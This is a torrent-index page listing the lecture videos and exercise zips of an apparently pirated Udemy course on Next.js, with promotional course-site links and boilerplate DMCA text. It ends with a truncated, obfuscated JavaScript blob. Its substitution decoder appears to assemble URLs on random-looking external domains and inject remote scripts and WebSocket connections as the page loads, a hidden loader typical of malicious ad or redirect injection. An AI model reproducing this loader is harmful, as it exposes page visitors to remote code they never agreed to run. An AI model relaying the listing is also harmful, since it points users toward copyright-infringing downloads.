[GigaCourse.Com] Udemy - Next JS The Complete Developers Guide

mp4   Hot:63   Size:5.5 GB   Created:2024-01-09 04:40:54   Update:2024-11-18 22:08:02  

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    1 - Get Started Here/1 - How to Learn NextJS Quickly.mp4 24.81 MB
    1 - Get Started Here/10 - 009-int.zip 5.07 MB
    1 - Get Started Here/10 - Adding Images.mp4 51.86 MB
    1 - Get Started Here/11 - More on the Image Component.mp4 80.45 MB
    1 - Get Started Here/12 - 011-int.zip 5.08 MB
    1 - Get Started Here/12 - Adding a Reusable Presentation Component.mp4 96.04 MB
    1 - Get Started Here/13 - 012-int.zip 5.09 MB
    1 - Get Started Here/13 - Adding Some Styling.mp4 73.55 MB
    1 - Get Started Here/14 - Production Deployment with Vercel.mp4 62.92 MB
    1 - Get Started Here/15 - Join Our Community.html 404 B
    1 - Get Started Here/16 - Course Diagrams.html 221 B
    1 - Get Started Here/16 - diagrams.zip 27.03 MB
    1 - Get Started Here/2 - Project Overview.mp4 20.54 MB
    1 - Get Started Here/3 - FileBased Routing.mp4 33.48 MB
    1 - Get Started Here/4 - 004-int.zip 123.77 KB
    1 - Get Started Here/4 - Adding Additional Routes.mp4 12.96 MB
    1 - Get Started Here/5 - Linking Between Pages.mp4 10 MB
    1 - Get Started Here/6 - 006-int.zip 148.07 KB
    1 - Get Started Here/6 - Common UI with Layouts.mp4 45.26 MB
    1 - Get Started Here/7 - 007-int.zip 164.8 KB
    1 - Get Started Here/7 - Project Structure Strategy.mp4 16.07 MB
    1 - Get Started Here/8 - 008-int.zip 172.41 KB
    1 - Get Started Here/8 - Absolute Path Import Shortcut.mp4 11.62 MB
    1 - Get Started Here/9 - Image Files.html 155 B
    1 - Get Started Here/9 - images.zip 4.96 MB
    10 - Implementing Search Functionality/106 - Adding in Component Streaming.mp4 13.76 MB
    10 - Implementing Search Functionality/107 - Streaming with Suspense.mp4 19.84 MB
    10 - Implementing Search Functionality/108 - Adding a Loading Skeleton.mp4 30.85 MB
    10 - Implementing Search Functionality/109 - 004-str.zip 306.98 KB
    10 - Implementing Search Functionality/109 - Top Posts on the HomePage.mp4 23.14 MB
    10 - Implementing Search Functionality/110 - 005-str.zip 272.31 KB
    10 - Implementing Search Functionality/110 - Back to the Search Input.mp4 15.6 MB
    10 - Implementing Search Functionality/111 - Notes on QueryStrings in Next.mp4 40.9 MB
    10 - Implementing Search Functionality/112 - Accessing the Query String.mp4 7.87 MB
    10 - Implementing Search Functionality/113 - Redirecting From a Server Action.mp4 14.53 MB
    10 - Implementing Search Functionality/114 - Receiving the Query String in a Server Component.mp4 9.64 MB
    10 - Implementing Search Functionality/115 - 010-str.zip 305.75 KB
    10 - Implementing Search Functionality/115 - Running the Search.mp4 22.05 MB
    10 - Implementing Search Functionality/116 - 011-str.zip 111.17 KB
    10 - Implementing Search Functionality/116 - The DeOpt to Client Side Rendering Warning.mp4 29.88 MB
    10 - Implementing Search Functionality/117 - Wrap Up.mp4 9.61 MB
    11 - Supplement React Primer/118 - A Note About the Following Lectures.html 313 B
    11 - Supplement React Primer/119 - Lets Build an App.mp4 35.87 MB
    11 - Supplement React Primer/120 - Critical Questions.mp4 34.67 MB
    11 - Supplement React Primer/121 - A Few More Critical Questions.mp4 85.87 MB
    11 - Supplement React Primer/122 - Node Setup.mp4 7.46 MB
    11 - Supplement React Primer/123 - Creating a React Project.mp4 12.43 MB
    11 - Supplement React Primer/124 - What is Create React App.mp4 29.94 MB
    11 - Supplement React Primer/125 - 001-jsx.zip 276.72 KB
    11 - Supplement React Primer/125 - Showing Basic Content.mp4 48.25 MB
    11 - Supplement React Primer/126 - What is JSX.mp4 35.2 MB
    11 - Supplement React Primer/127 - 003-jsx.zip 276.73 KB
    11 - Supplement React Primer/127 - Printing JavaScript Variables in JSX.mp4 15.37 MB
    11 - Supplement React Primer/128 - 004-jsx.zip 276.74 KB
    11 - Supplement React Primer/128 - Shorthand JSX Expressions.mp4 6.1 MB
    11 - Supplement React Primer/129 - 007-jsx.zip 276.76 KB
    11 - Supplement React Primer/129 - Typical Component Layouts.mp4 6.93 MB
    11 - Supplement React Primer/130 - 008-jsx.zip 276.75 KB
    11 - Supplement React Primer/130 - Customizing Elements with Props.mp4 24.68 MB
    11 - Supplement React Primer/131 - 009-jsx.zip 276.72 KB
    11 - Supplement React Primer/131 - Converting HTML to JSX.mp4 33.38 MB
    11 - Supplement React Primer/132 - Applying Styling in JSX.mp4 30.52 MB
    11 - Supplement React Primer/133 - 012-jsx.zip 276.89 KB
    11 - Supplement React Primer/133 - Extracting Components.mp4 17.47 MB
    11 - Supplement React Primer/134 - Module Systems Overview.mp4 63.17 MB
    11 - Supplement React Primer/135 - Cheatsheet for JSX.html 210 B
    11 - Supplement React Primer/136 - Project Overview.mp4 30.9 MB
    11 - Supplement React Primer/137 - 002-pdas.zip 300.2 KB
    11 - Supplement React Primer/137 - Creating Core Components.mp4 13.9 MB
    11 - Supplement React Primer/138 - Introducing the Props Systems.mp4 17.5 MB
    11 - Supplement React Primer/139 - Picturing the Movement of Data.mp4 54.57 MB
    11 - Supplement React Primer/140 - 005-pdas.zip 300.28 KB
    11 - Supplement React Primer/140 - Adding Props.mp4 10.06 MB
    11 - Supplement React Primer/141 - 006-pdas.zip 300.28 KB
    11 - Supplement React Primer/141 - Using Argument Destructuring.mp4 26.44 MB
    11 - Supplement React Primer/142 - React Developer Tools.mp4 9.18 MB
    11 - Supplement React Primer/143 - Most Common Props Mistake.mp4 24.89 MB
    11 - Supplement React Primer/144 - Images for the App.mp4 65.39 MB
    11 - Supplement React Primer/145 - 010-pdas.zip 363.76 KB
    11 - Supplement React Primer/145 - Including Images.mp4 65.38 MB
    11 - Supplement React Primer/146 - 011-pdas.zip 363.76 KB
    11 - Supplement React Primer/146 - Handling Image Accessibility.mp4 57.79 MB
    11 - Supplement React Primer/147 - Review on How CSS Works.mp4 55.27 MB
    11 - Supplement React Primer/148 - 013-pdas.zip 363.99 KB
    11 - Supplement React Primer/148 - Adding CSS Libraries with NPM.mp4 57.85 MB
    11 - Supplement React Primer/149 - 014-pdas.zip 364.14 KB
    11 - Supplement React Primer/149 - A Big Pile of HTML.mp4 57.25 MB
    11 - Supplement React Primer/150 - 015-pdas.zip 364.29 KB
    11 - Supplement React Primer/150 - Last Bit of Styling.mp4 24.47 MB
    11 - Supplement React Primer/[CourseClub.Me].url 122 B
    11 - Supplement React Primer/[GigaCourse.Com].url 49 B
    12 - Supplement TypeScript Primer/151 - A Note About the Following Lectures.html 137 B
    12 - Supplement TypeScript Primer/152 - TypeScript Overview.mp4 48.51 MB
    12 - Supplement TypeScript Primer/153 - Environment Setup.mp4 79.66 MB
    12 - Supplement TypeScript Primer/154 - A First App.mp4 31.71 MB
    12 - Supplement TypeScript Primer/155 - 7-executing.zip 1.11 KB
    12 - Supplement TypeScript Primer/155 - Executing TypeScript Code.mp4 17.39 MB
    12 - Supplement TypeScript Primer/156 - 8-quick-change.zip 1.2 KB
    12 - Supplement TypeScript Primer/156 - One Quick Change.mp4 12.23 MB
    12 - Supplement TypeScript Primer/157 - 10-catching.zip 1.91 KB
    12 - Supplement TypeScript Primer/157 - Catching Errors with TypeScript.mp4 35.74 MB
    12 - Supplement TypeScript Primer/158 - 11-more-errors.zip 1.27 KB
    12 - Supplement TypeScript Primer/158 - Catching More Errors.mp4 45.69 MB
    12 - Supplement TypeScript Primer/159 - Types.mp4 21.28 MB
    12 - Supplement TypeScript Primer/160 - More on Types.mp4 32.33 MB
    12 - Supplement TypeScript Primer/161 - 14-examples.zip 1.11 KB
    12 - Supplement TypeScript Primer/161 - Examples of Types.mp4 13.13 MB
    12 - Supplement TypeScript Primer/162 - Where Do We Use Types.mp4 3.43 MB
    12 - Supplement TypeScript Primer/163 - Type Annotations and Inference.mp4 8.4 MB
    12 - Supplement TypeScript Primer/164 - 17-annotations.zip 996 B
    12 - Supplement TypeScript Primer/164 - Annotations with Variables.mp4 18.54 MB
    12 - Supplement TypeScript Primer/165 - 18-object-literal.zip 1.11 KB
    12 - Supplement TypeScript Primer/165 - Object Literal Annotations.mp4 29.1 MB
    12 - Supplement TypeScript Primer/166 - 19-around-functions.zip 1.81 KB
    12 - Supplement TypeScript Primer/166 - Annotations Around Functions.mp4 24.92 MB
    12 - Supplement TypeScript Primer/167 - Understanding Inference.mp4 23.09 MB
    12 - Supplement TypeScript Primer/168 - 21-any-type.zip 1.25 KB
    12 - Supplement TypeScript Primer/168 - The Any Type.mp4 43.59 MB
    12 - Supplement TypeScript Primer/169 - 22-fixing.zip 1.25 KB
    12 - Supplement TypeScript Primer/169 - Fixing the Any Type.mp4 8.86 MB
    12 - Supplement TypeScript Primer/170 - 23-delayed.zip 1.36 KB
    12 - Supplement TypeScript Primer/170 - Delayed Initialization.mp4 15.27 MB
    12 - Supplement TypeScript Primer/171 - 24-when-inference.zip 1.44 KB
    12 - Supplement TypeScript Primer/171 - When Inference Doesnt Work.mp4 20.7 MB
    12 - Supplement TypeScript Primer/172 - 25-more-functions.zip 1.71 KB
    12 - Supplement TypeScript Primer/172 - More on Annotations Around Functions.mp4 24.55 MB
    12 - Supplement TypeScript Primer/173 - 26-inference.zip 1.73 KB
    12 - Supplement TypeScript Primer/173 - Inference Around Functions.mp4 30.91 MB
    12 - Supplement TypeScript Primer/174 - 27-annotations-anonymous.zip 1.77 KB
    12 - Supplement TypeScript Primer/174 - Annotations for Anonymous Functions.mp4 5.89 MB
    12 - Supplement TypeScript Primer/175 - 28-void-and-never.zip 1.84 KB
    12 - Supplement TypeScript Primer/175 - Void and Never.mp4 9.8 MB
    12 - Supplement TypeScript Primer/176 - 29-destructuring.zip 1.91 KB
    12 - Supplement TypeScript Primer/176 - Destructuring with Annotations.mp4 16.91 MB
    12 - Supplement TypeScript Primer/177 - 30-annotations-objects.zip 2.28 KB
    12 - Supplement TypeScript Primer/177 - Annotations Around Objects.mp4 33.88 MB
    12 - Supplement TypeScript Primer/178 - 31-arrays.zip 2.56 KB
    12 - Supplement TypeScript Primer/178 - Arrays in TypeScript.mp4 14.29 MB
    12 - Supplement TypeScript Primer/179 - 32-why-typed.zip 2.69 KB
    12 - Supplement TypeScript Primer/179 - Why Typed Arrays.mp4 39.22 MB
    12 - Supplement TypeScript Primer/180 - 33-multiple.zip 2.74 KB
    12 - Supplement TypeScript Primer/180 - Multiple Types in Arrays.mp4 12.21 MB
    12 - Supplement TypeScript Primer/181 - When to Use Typed Arrays.mp4 3.74 MB
    12 - Supplement TypeScript Primer/182 - Tuples in TypeScript.mp4 20.8 MB
    12 - Supplement TypeScript Primer/183 - 36-tuples-action.zip 3.07 KB
    12 - Supplement TypeScript Primer/183 - Tuples in Action.mp4 19.45 MB
    12 - Supplement TypeScript Primer/184 - 37-why-tuples.zip 3.12 KB
    12 - Supplement TypeScript Primer/184 - Why Tuples.mp4 11.34 MB
    12 - Supplement TypeScript Primer/185 - Interfaces.mp4 5.67 MB
    12 - Supplement TypeScript Primer/186 - 39-long-type.zip 3.28 KB
    12 - Supplement TypeScript Primer/186 - Long Type Annotations.mp4 16.84 MB
    12 - Supplement TypeScript Primer/187 - 40-fixing.zip 3.29 KB
    12 - Supplement TypeScript Primer/187 - Fixing Annotations with Interfaces.mp4 23.87 MB
    12 - Supplement TypeScript Primer/188 - 41-syntax.zip 3.29 KB
    12 - Supplement TypeScript Primer/188 - Syntax Around Interfaces.mp4 14.39 MB
    12 - Supplement TypeScript Primer/189 - 42-functions.zip 3.28 KB
    12 - Supplement TypeScript Primer/189 - Functions in Interfaces.mp4 18.26 MB
    12 - Supplement TypeScript Primer/190 - 43-code-reuse.zip 3.34 KB
    12 - Supplement TypeScript Primer/190 - Code Reuse with Interfaces.mp4 20.89 MB
    12 - Supplement TypeScript Primer/191 - General Plan with Interfaces.mp4 14.02 MB
    2 - Changing Data with Mutations/17 - App Overview.mp4 4.84 MB
    2 - Changing Data with Mutations/18 - Project Setup.mp4 21.86 MB
    2 - Changing Data with Mutations/19 - 003-sni.zip 99.8 KB
    2 - Changing Data with Mutations/19 - Adding a Create Page.mp4 8.76 MB
    2 - Changing Data with Mutations/20 - Creating a Prisma Client.mp4 7.29 MB
    2 - Changing Data with Mutations/21 - 005-sni.zip 102.64 KB
    2 - Changing Data with Mutations/21 - Adding a Creation Form.mp4 18.49 MB
    2 - Changing Data with Mutations/[CourseClub.Me].url 122 B
    2 - Changing Data with Mutations/[GigaCourse.Com].url 49 B
    3 - Streaming Content with React Server Components/22 - 006-snippets.zip 106.59 KB
    3 - Streaming Content with React Server Components/22 - Introducing Server Actions.mp4 38.63 MB
    3 - Streaming Content with React Server Components/23 - A Deeper Dive into Server Actions.mp4 8.84 MB
    3 - Streaming Content with React Server Components/24 - Server Components vs Client Components.mp4 55.97 MB
    3 - Streaming Content with React Server Components/25 - 009-sni.zip 93.95 KB
    3 - Streaming Content with React Server Components/25 - Fetching Data with Server Components.mp4 13.58 MB
    3 - Streaming Content with React Server Components/26 - 010-sni.zip 104.79 KB
    3 - Streaming Content with React Server Components/26 - Adding Dynamic Paths.mp4 28.43 MB
    3 - Streaming Content with React Server Components/27 - 011-sni.zip 106.23 KB
    3 - Streaming Content with React Server Components/27 - Fetching Particular Records.mp4 30.58 MB
    3 - Streaming Content with React Server Components/28 - 012-sni.zip 114.63 KB
    3 - Streaming Content with React Server Components/28 - Custom Not Found Pages.mp4 41.32 MB
    3 - Streaming Content with React Server Components/29 - 013-sni.zip 118.61 KB
    3 - Streaming Content with React Server Components/29 - Automatic Loading Spinnners.mp4 10.69 MB
    3 - Streaming Content with React Server Components/30 - 014-sni.zip 131.43 KB
    3 - Streaming Content with React Server Components/30 - A Few Quick Tasks.mp4 56.78 MB
    3 - Streaming Content with React Server Components/31 - 015-sni.zip 133.88 KB
    3 - Streaming Content with React Server Components/31 - Styling the Show Page.mp4 23.91 MB
    3 - Streaming Content with React Server Components/32 - 016-sni.zip 141.6 KB
    3 - Streaming Content with React Server Components/32 - Linking to the Edit Page.mp4 19.84 MB
    3 - Streaming Content with React Server Components/33 - 017-sni.zip 148.92 KB
    3 - Streaming Content with React Server Components/33 - Showing a Client Component in a Server Component.mp4 31.41 MB
    3 - Streaming Content with React Server Components/34 - 018-sni.zip 97.66 KB
    3 - Streaming Content with React Server Components/34 - Adding the Monaco Editor.mp4 26.44 MB
    3 - Streaming Content with React Server Components/35 - 019-sni.zip 103.91 KB
    3 - Streaming Content with React Server Components/35 - Handling Editor Changes.mp4 15.88 MB
    4 - Server Actions in Great Detail/36 - Server Actions in Client Components.mp4 23.37 MB
    4 - Server Actions in Great Detail/37 - Server Actions in a Separate File.mp4 43.21 MB
    4 - Server Actions in Great Detail/38 - Options for Calling Server Actions from Client Components.mp4 52.19 MB
    4 - Server Actions in Great Detail/39 - 023-sni.zip 123.78 KB
    4 - Server Actions in Great Detail/39 - Calling a Server Action from a Client Component.mp4 38.83 MB
    4 - Server Actions in Great Detail/40 - 024-sni.zip 158.28 KB
    4 - Server Actions in Great Detail/40 - Deleting a Record with a Server Action.mp4 18.17 MB
    5 - Server Forms with the UseFormState Hook/41 - Understanding the UseFormState Hook.mp4 25.26 MB
    5 - Server Forms with the UseFormState Hook/42 - 026-sni.zip 189.69 KB
    5 - Server Forms with the UseFormState Hook/42 - UseForm State in Action.mp4 71.64 MB
    5 - Server Forms with the UseFormState Hook/43 - 027-sni.zip 194.12 KB
    5 - Server Forms with the UseFormState Hook/43 - Adding the Form Validation.mp4 25.46 MB
    5 - Server Forms with the UseFormState Hook/44 - 028-sni.zip 211.68 KB
    5 - Server Forms with the UseFormState Hook/44 - Gotchas Around Error Handling.mp4 95.66 MB
    6 - Understanding Nexts Caching System/45 - Super Unexpected Behavior.mp4 9.7 MB
    6 - Understanding Nexts Caching System/46 - The Full Route Cache System.mp4 22.56 MB
    6 - Understanding Nexts Caching System/47 - What Makes a Static or Dynamic Route.mp4 45.55 MB
    6 - Understanding Nexts Caching System/48 - When to Use Each Cache Control.mp4 19.36 MB
    6 - Understanding Nexts Caching System/49 - 033-sni.zip 80.69 KB
    6 - Understanding Nexts Caching System/49 - Help My Page is Showing Old Data.mp4 13.85 MB
    6 - Understanding Nexts Caching System/50 - Enabling Caching with GenerateStaticParams.mp4 11.87 MB
    6 - Understanding Nexts Caching System/51 - 035-sni.zip 80.92 KB
    6 - Understanding Nexts Caching System/51 - Caching Dynamic Routes.mp4 36.14 MB
    7 - Authentication with NextAuth/52 - Project Overview.mp4 16.76 MB
    7 - Authentication with NextAuth/53 - Critical Libraries in Our Project.mp4 6.82 MB
    7 - Authentication with NextAuth/54 - NextUI Installation and Setup.mp4 54.81 MB
    7 - Authentication with NextAuth/55 - Prisma Schema File.html 158 B
    7 - Authentication with NextAuth/55 - schema.prisma 2.29 KB
    7 - Authentication with NextAuth/56 - 004-dis.zip 84.5 KB
    7 - Authentication with NextAuth/56 - Database Setup.mp4 40.81 MB
    7 - Authentication with NextAuth/57 - 005-dis.zip 86.05 KB
    7 - Authentication with NextAuth/57 - OAuth Setup.mp4 41.66 MB
    7 - Authentication with NextAuth/58 - 006-dis.zip 86.61 KB
    7 - Authentication with NextAuth/58 - NextAuth Setup.mp4 54.69 MB
    7 - Authentication with NextAuth/59 - 007-dis.zip 87.34 KB
    7 - Authentication with NextAuth/59 - The Theory Behind OAuth.mp4 50.4 MB
    7 - Authentication with NextAuth/60 - 008-dis.zip 202.35 KB
    7 - Authentication with NextAuth/60 - Wrapping Auth in Server Actions.mp4 11.57 MB
    7 - Authentication with NextAuth/61 - 009-dis.zip 253.48 KB
    7 - Authentication with NextAuth/61 - Sign In Sign out and Checking Auth Status.mp4 84.31 MB
    7 - Authentication with NextAuth/62 - Upfront Design Process.mp4 43.23 MB
    7 - Authentication with NextAuth/63 - Why Path Helpers.mp4 35.54 MB
    7 - Authentication with NextAuth/64 - 012-dis.zip 253.77 KB
    7 - Authentication with NextAuth/64 - Path Helper Implementation.mp4 14.06 MB
    7 - Authentication with NextAuth/65 - 013-dis.zip 265.77 KB
    7 - Authentication with NextAuth/65 - Creating the Routing Structure.mp4 11.96 MB
    7 - Authentication with NextAuth/66 - Stubbing Out Server Actions.mp4 26.47 MB
    7 - Authentication with NextAuth/67 - 015-dis.zip 273.05 KB
    7 - Authentication with NextAuth/67 - Planning Revalidating Strategies.mp4 43.35 MB
    7 - Authentication with NextAuth/68 - Building the Header.mp4 34.66 MB
    7 - Authentication with NextAuth/69 - 017-dis.zip 298.82 KB
    7 - Authentication with NextAuth/69 - Displaying the Sign In and Sign Out Buttons.mp4 37.2 MB
    7 - Authentication with NextAuth/70 - 018-dis.zip 304.14 KB
    7 - Authentication with NextAuth/70 - Enabling Sign Out.mp4 42.34 MB
    7 - Authentication with NextAuth/71 - 019-dis.zip 105.25 KB
    7 - Authentication with NextAuth/71 - More Caching Issues.mp4 53.9 MB
    7 - Authentication with NextAuth/72 - 020-dis.zip 119.53 KB
    7 - Authentication with NextAuth/72 - Static Caching While Using Auth.mp4 80.85 MB
    7 - Authentication with NextAuth/73 - 021-dis.zip 100.09 KB
    7 - Authentication with NextAuth/73 - Creating Topics.mp4 19.13 MB
    7 - Authentication with NextAuth/74 - 022-dis.zip 105.94 KB
    7 - Authentication with NextAuth/74 - Creating a Popover Form.mp4 25.82 MB
    7 - Authentication with NextAuth/75 - Receiving Form Data.mp4 14.36 MB
    7 - Authentication with NextAuth/76 - Adding Form Validation with Zod.mp4 71.55 MB
    7 - Authentication with NextAuth/77 - Reminder on the UseFormState Hook.mp4 9.64 MB
    7 - Authentication with NextAuth/78 - 026-dis.zip 130.69 KB
    7 - Authentication with NextAuth/78 - Fixing UseFormState Type Errors.mp4 42.34 MB
    7 - Authentication with NextAuth/79 - 027-sni.zip 135.57 KB
    7 - Authentication with NextAuth/79 - Heres Our FormState Type.mp4 27.32 MB
    7 - Authentication with NextAuth/80 - 028-sni.zip 137.69 KB
    7 - Authentication with NextAuth/80 - Displaying Validation Errors.mp4 20.32 MB
    7 - Authentication with NextAuth/81 - 029-sni.zip 142.83 KB
    7 - Authentication with NextAuth/81 - Handling General Form Errors.mp4 26.91 MB
    7 - Authentication with NextAuth/82 - 030-sni.zip 161.14 KB
    7 - Authentication with NextAuth/82 - Handling Database Errors in Forms.mp4 57.84 MB
    7 - Authentication with NextAuth/[CourseClub.Me].url 122 B
    7 - Authentication with NextAuth/[GigaCourse.Com].url 49 B
    8 - Using Data Database Queries/100 - Recursively Rendering Components.mp4 22.94 MB
    8 - Using Data Database Queries/101 - Fetching the Big List.mp4 54.41 MB
    8 - Using Data Database Queries/83 - 001-con.zip 108.66 KB
    8 - Using Data Database Queries/83 - Showing Loading Spinners with UseFormStatus.mp4 32.3 MB
    8 - Using Data Database Queries/84 - 002-con.zip 124.14 KB
    8 - Using Data Database Queries/84 - Fetching and Listing Content from Prisma.mp4 27.19 MB
    8 - Using Data Database Queries/85 - 003-con.zip 130.37 KB
    8 - Using Data Database Queries/85 - Scaffolding the Topic Show Page.mp4 11.22 MB
    8 - Using Data Database Queries/86 - 004-con.zip 138.76 KB
    8 - Using Data Database Queries/86 - Displaying a Creation Form.mp4 45.87 MB
    8 - Using Data Database Queries/87 - 005-con.zip 148.18 KB
    8 - Using Data Database Queries/87 - Applying Validation to Post Creation.mp4 71.06 MB
    8 - Using Data Database Queries/88 - 006-con.zip 158.5 KB
    8 - Using Data Database Queries/88 - Checking Authentication Status.mp4 19.59 MB
    8 - Using Data Database Queries/89 - 007-con.zip 167.03 KB
    8 - Using Data Database Queries/89 - Passing Additional Args to a Server Action.mp4 40.6 MB
    8 - Using Data Database Queries/90 - 008-con.zip 173.15 KB
    8 - Using Data Database Queries/90 - Creating the Record.mp4 18.45 MB
    8 - Using Data Database Queries/91 - A Few Project Files.html 154 B
    8 - Using Data Database Queries/91 - files.zip 6.51 KB
    8 - Using Data Database Queries/92 - Merging a Few Files.mp4 18.35 MB
    8 - Using Data Database Queries/93 - Considerations Around Where to Fetch Data.mp4 77.66 MB
    8 - Using Data Database Queries/94 - Data Fetching in Child Components.mp4 87.8 MB
    8 - Using Data Database Queries/95 - Recommended Data Fetching.mp4 23.62 MB
    8 - Using Data Database Queries/96 - 005-mer.zip 290.45 KB
    8 - Using Data Database Queries/96 - Define in Parent Fetch in Child.mp4 32.8 MB
    8 - Using Data Database Queries/97 - Alternative Type Names and Query Definitions.mp4 22.83 MB
    8 - Using Data Database Queries/98 - 007-mer.zip 321.01 KB
    8 - Using Data Database Queries/98 - Dont Go Crazy With Reuse.mp4 34.47 MB
    8 - Using Data Database Queries/99 - 008-mer.zip 330.46 KB
    8 - Using Data Database Queries/99 - Comment Creation.mp4 4.58 MB
    9 - Caching with Request Memoization/102 - Multiple Repeated DB Queries.mp4 7.95 MB
    9 - Caching with Request Memoization/103 - 002-cah.zip 275.3 KB
    9 - Caching with Request Memoization/103 - Introducing Duplicate Queries.mp4 43.46 MB
    9 - Caching with Request Memoization/104 - Request Memoization.mp4 15.14 MB
    9 - Caching with Request Memoization/105 - 004-cah.zip 279.98 KB
    9 - Caching with Request Memoization/105 - Deduplicating Requests with Cache.mp4 11.56 MB
    [CourseClub.Me].url 122 B
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[GigaCourse.Com] Udemy - Next JS The Complete Developers Guide” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF 